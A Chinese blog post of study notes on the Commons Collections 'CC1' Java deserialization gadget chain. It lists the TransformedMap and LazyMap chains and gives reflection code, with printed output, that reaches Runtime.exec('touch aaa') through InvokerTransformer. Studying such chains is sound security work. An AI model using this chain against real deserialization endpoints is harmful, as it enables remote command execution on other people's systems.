Java反序列化之CC1

CC1

参考:https://www.cnblogs.com/1vxyz/p/17284838.html
环境:jdk8u65 && commons-collections 3.2.1
CC1在jdk8u71后就修复了(修了AnnotationInvocationHandler::readObject())
sink点在 InvokerTransformer::transform()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Gadget chain:
ObjectInputStream.readObject() ->
AnnotationInvocationHandler.readObject() ->
MapEntry.setValue() ->
TransformedMap.checkSetValue ->
ChainedTransformer.transform() ->
ConstantTransformer.transform() ->
InvokerTransformer.transform() ->
Method.invoke() ->
Class.getMethod() ->
InvokerTransformer.transform() ->
Method.invoke() ->
Runtime.getRuntime() ->
InvokerTransformer.transform() ->
Method.invoke() ->
Runtime.exec()

Runtime对象不能序列化(没有继承Serializable) 我们需要一直用InvokerTransformer::transform()来反射获取Runtime.getRuntime().exec("cmd")
这里详解一下InvokerTransformer::transform()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}).transform(Runtime.class)为例
首先明确 InvokerTransformer的构造函数接收(String, Class[], Object[])
所以这里的iMethodName是”getMethod”
paramTypes是{String.class, Class[].class}
iArgs是{“getRuntime”, null}
input是Runtime.class
进到try语句里看 不妨把输出都打印出来

1
2
3
4
5
System.out.println("cls:" + Runtime.class.getClass());
System.out.println("method:" + Runtime.class.getClass().getMethod("getMethod", new Class[] {String.class, Class[].class}));
->
cls:class java.lang.Class
method:public java.lang.reflect.Method java.lang.Class.getMethod(java.lang.String,java.lang.Class[]) throws java.lang.NoSuchMethodException,java.lang.SecurityException

可能会对传入的paramTypes有点疑惑 实际上就是反射调用Class::getMethod的时候 要让paramTypes = 你getMethod得到的这个方法需要传入的参数
像这里是调用getMethod得到getMethod 而getMethod的参数是(String, Class<?>…)
所以传入的是{String.class, Class[].class} 同时iParamTypes的类型是Class[] 故也就是 new Class[] {String.class, Class[].class}

用getMethod得到getMethod可能有点绕 可以用第二个getMethod -> new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}).transform(prev)得到invoke来解释

这里invoke的参数是(Object, Object…) 所以最终传入的是 new Class[] {Object.class, Object[].class}

OK解释完getMethod 接着解释一下InvokerTransformer::transform的invoke

1
2
3
System.out.println("invoke return:" + Runtime.class.getClass().getMethod("getMethod", new Class[] {String.class, Class[].class}).invoke(Runtime.class, new Object[] {"getRuntime", null}));
->
invoke return:public static java.lang.Runtime java.lang.Runtime.getRuntime()

我们知道invoke会返回一个Object 打断点调试之后看到返回的是Method对象 也就是java.lang.Runtime.getRuntime()这个Method对象 -> 这个东西不是class 是Method extends Object

而这个Method对象即将是我们下一个的transform(input)的传入
我们需要知道最后执行命令是在return method.invoke(input, iArgs);
接下来我们把三次反射在transform中的cls, method, invoke_return都打印出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
System.out.println("cls: " + Runtime.class.getClass());
System.out.println("method: " + Runtime.class.getClass().getMethod("getMethod", new Class[] {String.class, Class[].class}));
Object a = Runtime.class.getClass().getMethod("getMethod", new Class[] {String.class, Class[].class}).invoke(Runtime.class, new Object[] {"getRuntime", null});
System.out.println("invoke return: " + a);
System.out.println("cls_2: " + a.getClass());
System.out.println("method_2: " + a.getClass().getMethod("invoke", new Class[] {Object.class, Object[].class}));
Object b = a.getClass().getMethod("invoke", new Class[] {Object.class, Object[].class}).invoke(a, new Object[] {null, null});
System.out.println("invoke return_2: " + b);
System.out.println("cls_3: " + b.getClass());
System.out.println("method_3: " + b.getClass().getMethod("exec", new Class[] {String.class}));
Object c = b.getClass().getMethod("exec", new Class[] {String.class}).invoke(b, new Object[] {"touch aaa"});
System.out.println("invoke return_3: " + c);
System.out.println("get all done");
->
cls: class java.lang.Class
method: public java.lang.reflect.Method java.lang.Class.getMethod(java.lang.String,java.lang.Class[]) throws java.lang.NoSuchMethodException,java.lang.SecurityException
invoke return: public static java.lang.Runtime java.lang.Runtime.getRuntime()
cls_2: class java.lang.reflect.Method
method_2: public java.lang.Object java.lang.reflect.Method.invoke(java.lang.Object,java.lang.Object[]) throws java.lang.IllegalAccessException,java.lang.IllegalArgumentException,java.lang.reflect.InvocationTargetException
invoke return_2: java.lang.Runtime@28d93b30
cls_3: class java.lang.Runtime
method_3: public java.lang.Process java.lang.Runtime.exec(java.lang.String) throws java.io.IOException
invoke return_3: java.lang.UNIXProcess@7b23ec81
get all done

据此我们可以列出三次反射的最后命令调用

1
2
3
4
5
6
1: java.lang.Class.getMethod::invoke(Runtime.class, "getRuntime")
-> java.lang.Runtime.getRuntime()
2: java.lang.reflect.invoke::invoke(java.lang.Runtime.getRuntime(), null)
-> java.lang.Runtime@28d93b30
3: java.lang.Runtime.exec::invoke(java.lang.Runtime@28d93b30, "touch aaa")
-> java.lang.UNIXProcess@7b23ec81

第一步 等价于 Runtime.class.getMethod(“getRuntime”) 并返回一个 java.lang.Runtime.getRuntime()的Method
第二步 等价于 getRuntimeMethod.invoke(null, null) 并返回一个Runtime的实例
第三步 等价于 Runtime实例.exec(“touch aaa”) 并返回一个UNIX进程

到此我们Runtime命令执行的反序列化完成 接下来就是把它们连续调用transform给串起来

这里ChainedTransformer是必须的 有点巧妙的感觉 就像是正好CC库里有这样一个非常容易成为攻击的点一样

LazyMap的打法我怎么没弄懂呢 感觉还是得看一下cc6才能懂 先贴一下gadget chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/

Java反序列化之CC1
http://example.com/2025/04/04/Java反序列化之CC1/
作者
Jednersaous
发布于
2025年4月4日
许可协议